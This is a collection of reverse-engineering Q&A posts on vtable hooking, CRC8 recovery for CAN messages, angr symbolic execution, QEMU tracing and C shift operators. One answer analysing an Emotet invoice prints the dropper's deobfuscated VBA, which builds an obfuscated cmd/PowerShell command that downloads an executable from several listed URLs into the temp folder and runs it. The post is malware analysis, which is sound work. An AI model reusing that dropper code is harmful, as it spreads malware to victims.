        "Body": "<p><strong>Why does the function not get hooked when called with instance member obj.myFunc() ?</strong></p>\n\n<pre><code>class Myclass\n{\n\npublic:\n    virtual void myFunc() = 0;\n\n};\nclass Derived : public Myclass\n{\npublic:\n    void myFunc()\n    {\n        std::cout &lt;&lt; \"Actual method is called\" &lt;&lt; std::endl;\n    }\n};\n\n    void __fastcall hk_myFunc(void* thisPtr, int edx)\n    {\n        std::cout &lt;&lt; \"Hooked method is called\" &lt;&lt; std::endl;\n    }\n\ntypedef void(__thiscall *fPtr)();\n\nint main()\n{\n    Derived* ptr = new Derived();\n    ptr-&gt;myFunc();// Output : Actual method is called.\n    void** vTPtr = *(reinterpret_cast&lt;void ***&gt;(ptr));\n    DWORD oldProtection;\n    VirtualProtect(vTPtr, 4, PAGE_EXECUTE_READWRITE, &amp;oldProtection);\n    *vTPtr = reinterpret_cast&lt;fPtr&gt;(&amp;hk_myFunc);\n    VirtualProtect(vTPtr, 4, oldProtection, 0);\n    ptr-&gt;myFunc(); //Output: Hooked method is called\n    Derived obj = *ptr;\n    obj.myFunc(); // Output : Actual method is called. Why ??\n    return 0;\n}\n</code></pre>\n",
        "Title": "Why does vmt hooking not work with instance member in the following case?",
        "Tags": "|function-hooking|hooking|",
        "Answer": "<p>The problem is the way you reference this object with a new pointer.</p>\n\n<pre><code>Derived obj = *ptr;\n</code></pre>\n\n<p>This actually creates a new object utilizing the data of the old object. Yay! C++!</p>\n\n<p><a href=\"https://i.stack.imgur.com/Ev6Nc.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Ev6Nc.png\" alt=\"IDA Decompilation\"></a></p>\n\n<p>In line 27 you can see that a new object is generated by calling a constructor. If you have a look at the disassembly, you'll see the vtable is not used for the function call. Hence you end up with the non-modified function.</p>\n\n<p><a href=\"https://i.stack.imgur.com/n9QHa.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/n9QHa.png\" alt=\"disassembly\"></a></p>\n\n<p>Btw, when you change the line referenced above to</p>\n\n<pre><code>(*ptr).myFunc();\n</code></pre>\n\n<p>The output works as expected</p>\n"
    },
    {
        "Id": "20484",
        "CreationDate": "2019-01-27T19:59:54.380",
        "Body": "<p>I am creating a CAN Bus on-bench testing solution which replicates the entire vehicle to test a single module. I have a number of messages that require a CRC byte in order to be valid. The messages are in little-endian byte order, and the CRC value is held in byte 0. I have collected valid messages with a changing 4 bit alive-counter along with their CRC byte with the hope someone can help. I have tried CRC reveng, but either do not know hot to use it correctly or it is unable to find the polynomial, as it shows \"No models found\" when searching.</p>\n\n<p>For reference, I found documentation that suggests the polynomial used is the standard SAE J1850 CRC8 polynomial x^8 + x^4 + x^3 + x^2 + 1, with a CRC-ID in decimal of 166 (stated as used for the low byte). I have also tried with the online calculator available here: <a href=\"http://www.sunshine2k.de/coding/javascript/crc/crc_js.html\" rel=\"nofollow noreferrer\">http://www.sunshine2k.de/coding/javascript/crc/crc_js.html</a>, but cannot get the correct result.</p>\n\n<p>If anyone could provide some assistance, I would greatly appreciate it. I would like help in clarifying the correct polynomial, along with any other relevant parameters. Here are a list of values captured:</p>\n\n<p><a href=\"https://i.stack.imgur.com/2mjtt.png\" rel=\"nofollow noreferrer\">CRC in Byte0</a></p>\n\n<p>This is the text version of above. I've separated the CRC value in byte 0 from the rest of the message for clarity.</p>\n\n<pre><code>57   0000C0F0C1FFFF\n0A   0100C0F0C1FFFF\nED   0200C0F0C1FFFF\nB0   0300C0F0C1FFFF\n3E   0400C0F0C1FFFF\n63   0500C0F0C1FFFF\n84   0600C0F0C1FFFF\nD9   0700C0F0C1FFFF\n85   0800C0F0C1FFFF\nD8   0900C0F0C1FFFF\n3F   0A00C0F0C1FFFF\n62   0B00C0F0C1FFFF\nEC   0C00C0F0C1FFFF\nB1   0D00C0F0C1FFFF\n56   0E00C0F0C1FFFF\n</code></pre>\n",
        "Title": "CRC8 reverse engineering",
        "Tags": "|crc|",
        "Answer": "<p>Use that same <a href=\"http://www.sunshine2k.de/coding/javascript/crc/crc_js.html\" rel=\"noreferrer\">page</a>, and select CRC_SAE_J1850, but then switch to 'Custom' and change the 'Final Xor Value' to 0x7a.</p>\n\n<p>The settings should be:</p>\n\n<ul>\n<li>Input Reflected: No</li>\n<li>Output Reflected: No</li>\n<li>Polynomial: 0x1d</li>\n<li>Initial Value: 0xff</li>\n<li>Final Xor Value: 0x7a</li>\n</ul>\n\n<p>Use Byte1-Byte7 as input.</p>\n\n<p>Given:</p>\n\n<ul>\n<li><code>crc_data[n]</code> is the crc from your provided data for dataset <code>n</code></li>\n<li><code>crc_sae_j1850[n]</code> is the standard CRC SAE J1850 value for dataset <code>n</code></li>\n</ul>\n\n<p>I noticed that for any <code>i</code>, <code>j</code>:</p>\n\n<pre><code>crc_data[i] ^ crc_data[j] = crc_sae_j1850[i] ^ crc_sae_j1850[j]\n</code></pre>\n\n<p>e.g. for <code>i=0</code>, <code>j=1</code>:</p>\n\n<pre><code>0x57 ^ 0x0a = 0xd2 ^ 0x8f\n0x5d        = 0x5d\n</code></pre>\n\n<p>This means that the final xor value can be adjusted to get the desired values:</p>\n\n<pre><code>new_final_xor = original_final_xor ^ crc_data[i] ^ crc_sae_j1850[i]\n              = 0xff               ^ 0x57        ^ 0xd2\n              = 0x7a\n</code></pre>\n"
    },
    {
        "Id": "20495",
        "CreationDate": "2019-01-28T18:59:25.200",
        "Body": "<p>Look at this c program:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nint my_function(int a, int b);\n\nint my_function(int a, int b)\n{\n    // Imagine a very complex calculation on 'a' and 'b'\n    if (a==0x41 &amp;&amp; b==0x42)\n    {\n        return 1;\n    }\n    return 0;\n}\n\n\nint main(int argc , char *argv[])\n{\n    int c = 10;\n    int d = 10;\n    // Lot of stuff, including UI\n    if (my_function(c,d)==1)\n    {\n        printf(\"Good\\n\");\n    }\n    else\n    {\n        printf(\"Wrong !\\n\");\n    }\n    return 0;\n}\n</code></pre>\n\n<p>Suppose i have compiled this program and i do not have source code.</p>\n\n<p>Here is what is see with a disassembler:</p>\n\n<pre><code>...\n0x00001180      e8b0ffffff     call sym.my_function\n....\n\n|           ; var int local_8h @ rbp-0x8\n|           ; var int local_4h @ rbp-0x4\n|           ; CALL XREF from 0x00001180 (main)\n|           0x00001135      55             push rbp\n|           0x00001136      4889e5         mov rbp, rsp\n|           0x00001139      897dfc         mov dword [local_4h], edi\n|           0x0000113c      8975f8         mov dword [local_8h], esi\n|           0x0000113f      837dfc41       cmp dword [local_4h], 0x41  ; [0x41:4]=0x4000000 ; 'A'\n|       ,=&lt; 0x00001143      750d           jne 0x1152\n|       |   0x00001145      837df842       cmp dword [local_8h], 0x42  ; [0x42:4]=0x40000 ; 'B'\n|      ,==&lt; 0x00001149      7507           jne 0x1152\n|      ||   0x0000114b      b801000000     mov eax, 1\n|     ,===&lt; 0x00001150      eb05           jmp 0x1157\n|     |||   ; JMP XREF from 0x00001143 (sym.my_function)\n|     |||   ; JMP XREF from 0x00001149 (sym.my_function)\n|     |``-&gt; 0x00001152      b800000000     mov eax, 0\n|     |     ; JMP XREF from 0x00001150 (sym.my_function)\n|     `---&gt; 0x00001157      5d             pop rbp\n\\           0x00001158      c3             ret\n</code></pre>\n\n<p>What i want to do is to write a python/angr program which will try to solve this function and tell me which argument i should send to the function in order to return 1.</p>\n\n<p>In other words, i want to ask angr this question:</p>\n\n<p>\"Start your analyse at 0x00001135 address.\nTell me what i should put in rbp-0x8 and rbp-0x4 memory addresses in order to reach 0x0000114b code\". </p>\n\n<p>Thanks</p>\n\n<p><strong>* EDIT WITH STRING *</strong></p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n\nint my_function(char *s);\n\nint my_function(char *s)\n{\n        if (strlen(s)!=4)\n        {\n                return 0;\n        }\n\n        for (int i=0;i&lt;4;i++)\n        {\n                s[i]++;\n        }\n\n        if (strncmp(s,\"b{fs\",4)==0)\n        {\n                return 1;\n        }\n        return 0;\n}\n\n\nint main(int argc , char *argv[])\n{\n        if (my_function(argv[1])==1)\n        {\n                printf(\"Good\\n\");\n        }\n        else\n        {\n                printf(\"Wrong !\\n\");\n        }\n        return 0;\n}\n</code></pre>\n",
        "Title": "Solve a function with angr",
        "Tags": "|angr|",
        "Answer": "<p>thanks for your example scenario.</p>\n\n<p>As a disclamer, I compiled your example source code with clang and my disassembly looks like this:</p>\n\n<p><a href=\"https://i.stack.imgur.com/5Zc8R.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/5Zc8R.png\" alt=\"disassembly\"></a></p>\n\n<p>Then all you need is a small python script like this:</p>\n\n<pre><code>import angr\n\nfunction_start = 0x4004f0\nfunction_target = 0x40050e\nfunction_end = 0x400521\n\np = angr.Project(\"./a.out\")\nstate = p.factory.blank_state(addr=function_start)\na = state.solver.BVS('a', 32)\nb = state.solver.BVS('b', 32)\nstate.regs.esi = b\nstate.regs.edi = a\n\nsm = p.factory.simulation_manager(state)\nsm.explore(find=function_target, avoid=function_end)\n\nfound_path = sm.found[0]\nprint 'a: %d\\nb: %d' % (found_path.state.se.eval(a), found_path.state.se.eval(b))\n</code></pre>\n\n<p>Please note this example is trivial, but in any other case you should try to add as many constraints on values as possible.</p>\n\n<p><strong>edit</strong></p>\n\n<p>Here we go again with stack variable conditions. For this sake, we just skip the first 4 instructions of the function:</p>\n\n<pre><code>import angr\n\nfunction_start = 0x4004fa\nfunction_target = 0x40050e\nfunction_end = 0x400521\n\np = angr.Project(\"./a.out\")\nstate = p.factory.blank_state(addr=function_start)\na = state.solver.BVS('a', 32)\nb = state.solver.BVS('b', 32)\nstate.mem[state.regs.rbp - 0x8].uint32_t = a\nstate.mem[state.regs.rbp - 0xc].uint32_t = b\n\nsm = p.factory.simulation_manager(state)\nsm.explore(find=function_target, avoid=function_end)\n\nfound_path = sm.found[0]\nprint 'a: %d\\nb: %d' % (found_path.state.se.eval(a), found_path.state.se.eval(b))\n</code></pre>\n"
    },
    {
        "Id": "20506",
        "CreationDate": "2019-01-30T09:30:10.710",
        "Body": "<p>This pastebin <a href=\"https://pastebin.com/fSqLLb8C\" rel=\"nofollow noreferrer\">hosts</a> current URLs hosting the fake invoice of <a href=\"https://en.wikipedia.org/wiki/Emotet\" rel=\"nofollow noreferrer\">Emotet malware</a>, which is the dropper part of the malware.</p>\n\n<p>The document is a Office Open XML, and there are two large non textual segments in it.</p>\n\n<p>I can't make any sense of the other segment.</p>\n\n<p>One of them is this:<a href=\"https://i.stack.imgur.com/hb1OJ.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/hb1OJ.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>I assume the other one contains at least some VB script and something else, but it decodes (assuming base64 like the jpg part) to nothing that <em>file</em> recognizes.</p>\n",
        "Title": "Emotet invoice, what is the embedded file inside the word document",
        "Tags": "|binary-analysis|malware|",
        "Answer": "<p>the vba appears to be some thing like this \nthe functions appears to be useless the zillnp appears to take this string</p>\n\n<p><a href=\"https://i.stack.imgur.com/dIODu.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/dIODu.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>you can copy paste the strings and concatentate it </p>\n\n<pre><code>Sub foo()\nzwrqd = \"c:\\on\" + \"jzi\" + \"oi\\\" + \"izwolr\" + \"\\poic\" + \"wo\\\" + \"..\\\" + \"..\\\"\nszrtncm = \"..\\win\" + \"dow\" + \"s\\sys\" + \"tem32\\\" + \"cmd.\" + \"exe /c\" + \" %Pro\" + \"gram\"\nuvkplhz = \"Data\" + \":~0,1\" + \"%%Pro\" + \"gra\" + \"mData:\" + \"~9,\" + \"2% /\" + \"V:ON/\" + \"C\" + Chr(34) + \"set\"\noujod = \" SiQ=;\" + \"'cjq\" + \"hpb'=\" + \"qijm\" + \"nd$}}\" + \"{hct\" + \"ac}};\"\nkbuitlk = \"kaerb\" + \";'bchk\" + \"zfb'=\" + \"dqk\" + \"zr$\" + \";hkjzj\" + \"lz$ me\" + \"tI-e\" + \"kovnI{\"\nbjzzhsa = \" )00\" + \"004 eg\" + \"- htg\" + \"nel.)h\" + \"kjzjlz\" + \"$ m\" + \"etI-t\" + \"eG((\" + \" fI;'\"\n\n\nhzipdp = \"jrkj\" + \"ik'=ci\" + \"ikdj$\" + \";)hkjz\" + \"jlz$\" + \" ,qjc\" + \"aki$(\" + \"eliFd\" + \"aoln\"\nwcwhr = \"woD.ir\" + \"hwidj\" + \"${yrt\" + \"{)ujb\" + \"wa$ \" + \"ni qj\" + \"cak\" + \"i$(h\"\nrmflwpm = \"caero\" + \"f;'\" + \"exe.'\" + Chr(43) + \"zbw\" + \"nifi$\" + Chr(43) + \"'\\'\" + Chr(43) + \"pmet\" + \":vne\"\nwuvcz = \"$=hkj\" + \"zjlz\" + \"$;'ziw\" + \"mvv'=p\" + \"zrifo\"\nkqwok = \"h$;'9\" + \"04' = \" + \"zbw\" + \"nifi$;\" + \"'sc\" + \"jmbw'\" + \"=fm\" + \"sqvii$\" + \";)'@\"\nwzkwjw = \"'(t\" + \"ilpS\" + \".'41\" + \"fpege\" + \"LDa\"\nhrzqojk = \"jCgKn\" + \"c/mo\" + \"c.sse\" + \"nisub\" + \"rusoh.\"\nzpftzo = \"www//:\" + \"ptth@\" + \"Mw6O6\" + \"3Df_\" + \"Cm066C\" + \"cdkU\" + \"7o/moc\"\n\nrnncbhd = \".ai\" + \"cizy\" + \"hp.ww\" + \"w//:pt\" + \"th@j\" + \"7OEo_7\"\nzihij = \"MhAbZ\" + \"p6jnH\" + \"p/z\" + \"t.oc.s\" + \"keeg\"\ndwpit = \"t.liam\" + \"//:\" + \"ptt\" + \"h@8or1\" + \"uzsd\" + \"Z8vi\" + \"e/RXI/\" + \"sed\" + \"ulcni-\"\nwccvfj = \"pw/moc\" + \".srev\" + \"ireht\" + \"ybkram\" + \"dnal//\" + \":ptth\" + \"@R8Fd3\"\nzuvtjrq = \"N9U\" + \"mbY\" + \"BzI/te\" + \"n.en\" + \"onil\"\nafactw = \"etoh.\" + \"www/\" + \"/:ptt\" + \"h'=ujb\" + \"wa$;\" + \"tnei\"\nworhm = \"lCbeW.\" + \"teN t\" + \"cejbo-\" + \"wen\" + \"=ir\" + \"hwidj$\" + \";'imsi\"\nvaipzq = \"zuu'=i\" + \"ijir\" + \"wb$ ll\" + \"%1,3-~\" + \":PME\" + \"T%h%\" + \"1,4-\" + \"~:EMA\" + \"NNOI\"\nzcdjvo = \"SSES%r\" + \"%1,5~\" + \":CILB\" + \"UP%wo\" + \"p&amp;&amp;\" + \"for /\"\nvwqmd = \"L %h i\" + \"n (65\" + \"7,-1\" + \",0)\" + \"do s\" + \"et \" + \"nu=!\"\ntlpisj = \"nu!!S\" + \"iQ:~\" + \"%h,\" + \"1!&amp;\" + \"&amp;if %h\" + \" eq\" + \"u 0 e\" + \"cho !n\"\nnsfmr = \"u:~-6\" + \"58!|\" + \" cmd\" + Chr(34) + \" \"\n\n\nuhdurz = zwrqd + szrtncm + uvkplhz + oujod + kbuitlk + bjzzhsa\njitovh = hzipdp + wcwhr + rmflwpm + wuvcz + kqwok + wzkwjw + hrzqojk + zpftzo\nwwiqv = rnncbhd + zihij + dwpit + wccvfj + zuvtjrq + afactw + worhm + vaipzq + zcdjvo + vwqmd + tlpisj + nsfmr\n\n\nMsgBox (uhdurz + jitovh + wwiqv)\n\nEnd Sub\n</code></pre>\n"
    },
    {
        "Id": "20508",
        "CreationDate": "2019-01-30T10:41:04.077",
        "Body": "<p><br>\nI'm trying reverse engineer the firmware, apparently bare metal, of an industrial controller. The device is based on a Coldfire controller, to be more precise, the <strong>MCF5282</strong>. To track its behavior, I want to use Qemu in its M68k fashion which is supporting already the MCF5206 and the MCF5208. The Coldfire implementation of Qemu lacks in many places, and it seems targeted to run Linux after the bootloader has left the hardware in a particular state.  To run my firmware, I had to patch it removing all the hardware initialization, and write a new Qemu file for the CPU I wanted to target, the MCF5282. <br><br>\nSo far, It seems that my code is working, and the CPU is initialized as the initialization code I have skipped would have done.\nWhen I start my emulation, strangeness begins, and there I ask for your help for understanding what is going on.\nWhen I run </p>\n\n<pre><code>qemu-system-m68k -nographic -cpu m5282 -kernel Firmware.bin.qemuPatched \\\n-serial telnet:127.0.0.1:4444,server,nowait \\\n-serial telnet:127.0.0.1:4445,server,nowait \\\n-serial telnet:127.0.0.1:4446,server,nowait \\\n-d in_asm -D execution.log\n</code></pre>\n\n<p>I expected <strong>all</strong> the instruction of the target CPU to be logged, and that's it is what's happened, at least until it reaches a branch instruction.<br>\nThat time forward, no more instructions are logged, though the emulation is continuing.<br><br>\nI can say that emulation is continuing because if I add to the logged properties the target machine status, I see that the CPU state is changing after the that last instruction is logged and the PC is changing also. <br>\nThe strangeness does not stop here, and if I follow the PC values, I see that CPU is executing instructions in the firmware address space in an unexpected way, to make a long story short, it seems it is sampling the real flow without writing every single step. <br><br>\n<strong>Does someone recognize in it the expected behavior?</strong> <br><br>\nAlso, at least one time, I found a call to a function <strong>(jsr)</strong> where the flow logged seems to indicate that function is not executed.\nIt just logs the next instruction, but looking at the CPU state it's clear that function has been executed.\nIs Qemu which is malfunctioning, or it's just me who can not understand what is going on?</p>\n\n<pre><code>----------------\nIN:\n0x00004da6:  movel %fp@(8),%d6\n\nD0 = 00000064   A0 = 00082748   F0 = 7fff ffffffffffffffff  (         nan)\nD1 = 00000028   A1 = 00084778   F1 = 7fff ffffffffffffffff  (         nan)\nD2 = 00000025   A2 = 00000000   F2 = 7fff ffffffffffffffff  (         nan)\nD3 = 00000000   A3 = 00000000   F3 = 7fff ffffffffffffffff  (         nan)\nD4 = 00000000   A4 = 00000000   F4 = 7fff ffffffffffffffff  (         nan)\nD5 = 00000000   A5 = 00000000   F5 = 7fff ffffffffffffffff  (         nan)\nD6 = 00000000   A6 = 0008fe44   F6 = 7fff ffffffffffffffff  (         nan)\nD7 = 00000000   A7 = 0008fe34   F7 = 7fff ffffffffffffffff  (         nan)\nPC = 00004da6   SR = 2004 T:0 I:0 SI --Z--\nFPSR = 00000000 ----\n                                FPCR =     0000 X RN\n  A7(MSP) = 00000000 -&gt;A7(USP) = 0008fe30   A7(ISP) = 00000000\nVBR = 0x00000000\nSFC = 0 DFC 0\nSSW 00000000 TCR 00000000 URP 00000000 SRP 00000000\nDTTR0/1: 00000000/00000000 ITTR0/1: 00000000/00000000\nMMUSR 00000000, fault at 00000000\n----------------\nIN:\n0x00004daa:  jsr 0x4ca0\n\nD0 = 00000064   A0 = 00082748   F0 = 7fff ffffffffffffffff  (         nan)\nD1 = 00000028   A1 = 00084778   F1 = 7fff ffffffffffffffff  (         nan)\nD2 = 00000025   A2 = 00000000   F2 = 7fff ffffffffffffffff  (         nan)\nD3 = 00000000   A3 = 00000000   F3 = 7fff ffffffffffffffff  (         nan)\nD4 = 00000000   A4 = 00000000   F4 = 7fff ffffffffffffffff  (         nan)\nD5 = 00000000   A5 = 00000000   F5 = 7fff ffffffffffffffff  (         nan)\nD6 = 00000064   A6 = 0008fe44   F6 = 7fff ffffffffffffffff  (         nan)\nD7 = 00000000   A7 = 0008fe34   F7 = 7fff ffffffffffffffff  (         nan)\nPC = 00004daa   SR = 2000 T:0 I:0 SI -----\nFPSR = 00000000 ----\n                                FPCR =     0000 X RN\n  A7(MSP) = 00000000 -&gt;A7(USP) = 0008fe30   A7(ISP) = 00000000\nVBR = 0x00000000\nSFC = 0 DFC 0\nSSW 00000000 TCR 00000000 URP 00000000 SRP 00000000\nDTTR0/1: 00000000/00000000 ITTR0/1: 00000000/00000000\nMMUSR 00000000, fault at 00000000\n----------------\nIN:\n0x00004db0:  movew %d0,%d7\n\nD0 = 00000002   A0 = 000822c8   F0 = 7fff ffffffffffffffff  (         nan)\nD1 = 00000020   A1 = 00084778   F1 = 7fff ffffffffffffffff  (         nan)\nD2 = 0000007f   A2 = 00000000   F2 = 7fff ffffffffffffffff  (         nan)\nD3 = 00000000   A3 = 00000000   F3 = 7fff ffffffffffffffff  (         nan)\nD4 = 00000000   A4 = 00000000   F4 = 7fff ffffffffffffffff  (         nan)\nD5 = 00000000   A5 = 00000000   F5 = 7fff ffffffffffffffff  (         nan)\nD6 = 00000064   A6 = 0008fe44   F6 = 7fff ffffffffffffffff  (         nan)\nD7 = 00000000   A7 = 0008fe34   F7 = 7fff ffffffffffffffff  (         nan)\nPC = 00004db0   SR = 2000 T:0 I:0 SI -----\nFPSR = 00000000 ----\n                                FPCR =     0000 X RN\n  A7(MSP) = 00000000 -&gt;A7(USP) = 0008fe30   A7(ISP) = 00000000\nVBR = 0x00000000\nSFC = 0 DFC 0\nSSW 00000000 TCR 00000000 URP 00000000 SRP 00000000\nDTTR0/1: 00000000/00000000 ITTR0/1: 00000000/00000000\nMMUSR 00000000, fault at 00000000\n</code></pre>\n",
        "Title": "Weird qemu behaviour with Freescale Coldfire MCF5282",
        "Tags": "|qemu|motorola|",
        "Answer": "<p>I got the explanation by another source, and It seems to me to be appropriate post here the answer I received.<br> <br></p>\n\n<p>It is weird, in my eyes I mean, but it is expected behavior, and make also sense with the necessary explanation. <br>\nThe nature of Qemu, <strong>a JIT translator</strong>, implies that all code of the target CPU is translated into the code of the host CPU. <br>When My code branches to a code part which has been already translated, it just do not translate it again. For that reason, I don't see the istructions in the code log but I see the CPU state changing.</p>\n"
    },
    {
        "Id": "20513",
        "CreationDate": "2019-01-30T17:11:34.743",
        "Body": "<p>Which operators in C language would result in assembly commands such as <code>sal, shl, sar or shr</code> for example?</p>\n",
        "Title": "Which operators use sal, shl, sar or shr",
        "Tags": "|assembly|c|",
        "Answer": "<p>First it should be noted that there are so many architectures out there, <em>each with its own instruction set</em>. Here I assume you mean <a href=\"/questions/tagged/x86\" class=\"post-tag\" title=\"show questions tagged &#39;x86&#39;\" rel=\"tag\">x86</a> (and you should indeed tag the proper architecture as 0xC0000022L said above). Most parts of the below answer would apply to other architectures as well, but they may use different mnemonics or lack some mentioned instructions</p>\n<p><strong><code>SAL</code> and <code>SHL</code> are the same.</strong> They're simply <a href=\"http://www.felixcloutier.com/x86/SAL:SAR:SHL:SHR.html\" rel=\"noreferrer\">aliases to the same opcode</a> because shifting left <em>always fill the vacant bits with 0s</em>. In C <code>&lt;&lt;</code> will do a shift left, and whether the shift instruction is printed as <em>SAL</em> or <em>SHL</em> depends on the compiler/disassembler</p>\n<p>OTOH there are 2 versions of right shift because you can fill the bits that were shifted out with zero <em>(<a href=\"https://en.wikipedia.org/wiki/Logical_shift\" rel=\"noreferrer\">logical shift</a>)</em> or the high bit of the old value <em>(<a href=\"https://en.wikipedia.org/wiki/Arithmetic_shift\" rel=\"noreferrer\">arithmetic shift</a>)</em>. <code>SAR</code> does an arithmetic shift and <code>SHR</code> does a logical shift. In C the operator for right shifting is <code>&gt;&gt;</code>, but the rule depends on the signness of the type:</p>\n<ul>\n<li>A right shift on an unsigned type is always a logical shift, therefore <code>SHR</code> will be used</li>\n<li>A right shift on a signed type is implementation defined, i.e. the compiler can choose to do an arithmetic or a logical shift. However almost all modern compilers will do an arithmetic shift (<code>SAR</code>) on signed types (otherwise doing arithmetic shift would be too tricky/clumsy). Some compilers may have an option to select the right shift variant though</li>\n</ul>\n<p>Per the <a href=\"http://www.open-std.org/jtc1/sc22/wg14/www/docs/n1256.pdf\" rel=\"noreferrer\">C99 standard</a>, section 6.5.7:</p>\n<blockquote>\n<p>The integer promotions are performed on each of the operands. The type of the result is that of the promoted left operand. If the value of the right operand is negative or is greater than or equal to the width of the promoted left operand, the behavior is undefined.</p>\n<p>The result of <strong>E1</strong> &lt;&lt; <strong>E2</strong> is <strong>E1</strong> left-shifted <strong>E2</strong> bit positions; vacated bits are filled with zeros. If <strong>E1</strong> has an unsigned type, the value of the result is <strong>E1</strong> \u00d7 2<sup><strong>E2</strong></sup>, reduced modulo one more than the maximum value representable in the result type. If <strong>E1</strong> has a signed type and nonnegative value, and <strong>E1</strong> \u00d7 2<sup><strong>E2</strong></sup> is representable in the result type, then that is the resulting value; otherwise, the behavior is undefined.</p>\n<p>The result of <strong>E1</strong> &gt;&gt; <strong>E2</strong> is <strong>E1</strong> right-shifted <strong>E2</strong> bit positions. If <strong>E1</strong> has an unsigned type or if <strong>E1</strong> has a signed type and a nonnegative value, the value of the result is the integral part of the quotient of <strong>E1</strong> / 2<sup><strong>E2</strong></sup>. If <strong>E1</strong> has a signed type and a negative value, the resulting value is implementation-defined.</p>\n</blockquote>\n<hr />\n<p>However there are a lot of <em>other operations that can produce a shift instruction</em>, and various cases that <em>shift operators don't produce a shift instruction</em></p>\n<p>It's less common to see <code>&lt;&lt;/&gt;&gt;</code> that are not compiled to a shift instruction, but compilers may optimize <code>x &lt;&lt; 1</code> to <code>x += x</code> and you'll see things like <code>ADD eax, eax</code> or <code>LEA ecx, [eax + eax]</code>. On x86 <code>x &lt;&lt; i</code> with i \u2a7d 3 can also be compiled to <code>LEA eax, [eax*2\u2071]</code> instead of shift. Of course an output like <code>MUL x, 2</code> is also possible on a hypothetical architecture without shift, or where shift is slower than multiplication</p>\n<p>Compilers are also able to transform complex statements like <code>(x &lt;&lt; 1) + (x &lt;&lt; 4) + (x &lt;&lt; 13)</code> into simpler ones such as a single multiplication by 8210, no more shifts.<br />\nOr GCC recognizes <code>(a ^ b) + (a &amp; b) + (a &amp; b)</code> as well as its the inverse condition <code>(a + b) - (a &amp; b) - (a &amp; b)</code> and optimize them to <code>a + b</code> and <code>a ^ b</code> respectively, so it's possible (in the future) that they'll be able to convert the equivalents <code>(a ^ b) + ((a &amp; b) &lt;&lt; 1)</code> and <code>(a + b) - ((a &amp; b) &lt;&lt; 1)</code> into <code>ADD</code> and <code>XOR</code> without any shifts at all.<br />\n<a href=\"https://godbolt.org/#z:OYLghAFBqd5QCxAYwPYBMCmBRdBLAF1QCcAaPECAKxAEZSAbAQwDtRkBSAJgCFufSAZ1QBXYskwgA5CJaC8wFpnQBqAIIARDRFnzFylU1IrdCpaoBGASg4AGNRwDsfeyrcrimAmJYqITFQ4AVmwVa0DePwDuADYwqwieKIi46w4AZhcHRw07B3tTfVUADQB5ACUdOTMDIxNqovi8pyz3Dy8fZP54lQBaLq5UhP7/FKbM5pzmgobzFQBbEQYqvTmADxt7Fry2z29iXwg1wPSAYQzTlVoE7qOT87OVABYbyLuLi6v0mwmtqfspFZGNIglJSCxpLYwahpOdeN1hGIJBF0rQwQRIYCgQhMEwsMRKECANZ0AAcADpSbRaFx0k8nqTHIN0lwuE9gVInmCIVIoaQYVIwYIQLZSBjeYDSHBYEg0PMAA54BiYMgUCByxXKgnAUlcUgAMyVBBVwogFkxpAseBYTGIAE9pGjSHL5pgWARSiwGA6JaQsPNWMBlRb8J5kAQ8AA3TDC32YNaYZAiY2OsHW40MC0MPAWYi2u2nDCSKROgjEPDzVNA5hsFD8fiMHPCyBA1DyiOoOTSXqldJC0TiSTXDmg8EWgVrUkxXoxJ4qYDIZAqClcPy4QgkFH0FSFhVKlVbhJwvi8dGYoEQWWoPda8iUDX7gny%2BXIWfK4AxdKiw0MY3EU3mr6Vo2vaqbOterrup63ohpgAZsMGvqhomEbRrGfLxomybFk66aYJmvrZrm%2BaFlgYFlhWVaMIGdbwrwjYWM2ECtu2eCdrGPbpH08yeIoTCuoI/ZIkO1Ygty47SPKqAAO4qm%2BmDzouKgxOS6TkrYa74EQxBbsYu6age3DpN8O71qeYrnlKV43iqd7qteBkEsgNbAI4tjfkaJqUIBfLAfmYEum6Hpej6fL%2BoGiFhXgYaoTGFqYUmKYlmm7r4VmOZ5vapE4ei5aVsl1Y0ZwdECERTEsR2XZSJxfT6tGxAWKggiYL0TCCPMQmDnQolSKOPJ8hOU4znOzmBiojjqepmkbjpRnbvpj4olwR5mTwZ4She1mOXZD5aiAtrzLOOpcB5v5eWaFp%2BaByXgfMkHBTBSFwRFxZRTFUZxXGCaJTl5CpQRfJEZlBZFuReVUS5tEnqVTbwBVbFVZxnUSN1I7ib6ApqOUACys6KUuK7Tdpuk7g5i1GS8pkletUJWNiuL4oSpAklS5K0KSjIxEEQQ0o46QxI4jgclypCVrQ7ljhj0hCiKFkbT1XDowN0ty7TQL1fInYgE8QA%3D\" rel=\"noreferrer\">See them in action</a></p>\n<p>For the other case there are various examples:</p>\n<ul>\n<li><strong>Multiplication by a power of 2</strong> is done by a <em>left shift</em>. On x86 there exists the more versatile <code>LEA</code> instruction, so for exponent \u2a7d 8 the choice between <code>LEA</code> and <code>SHL</code> depends on the compiler. Array arithmetic also need a lot of multiplication, so a shift is also usually used</li>\n<li><strong>Multiplication by many other constants</strong> can also be optimized to a series of ADD/SUB and shifts if that's faster than the <code>MUL</code> instruction itself. Again in x86 occasionally LEA is used instead of shifts</li>\n<li><strong>Division by a power of 2</strong> is done by a <em>right shift</em>. For unsigned types it's a simple logical shift. For signed types it's an arithmetic shift followed by some other shifts and ADDs to correct the result (since division rounds towards zero, and arithmetic right shift rounds towards -inf)</li>\n<li><strong>Division by constants</strong> will be <a href=\"https://stackoverflow.com/q/41183935/995714\">optimized into a multiplication by the corresponding multiplicative inverse</a>, which may involve some shifts to round the result</li>\n<li><a href=\"https://stackoverflow.com/q/54438477/995714\">Clang even emits an <code>SHR</code> for checking the high bits</a> while doing a <strong>division by a non-constant</strong> if tuning for microarchitectures from Sandy Bridge onward</li>\n<li><strong>Bitfield</strong> accesses of course need to use a lot of shifts in architectures without efficient bitfield manipulation like x86. <a 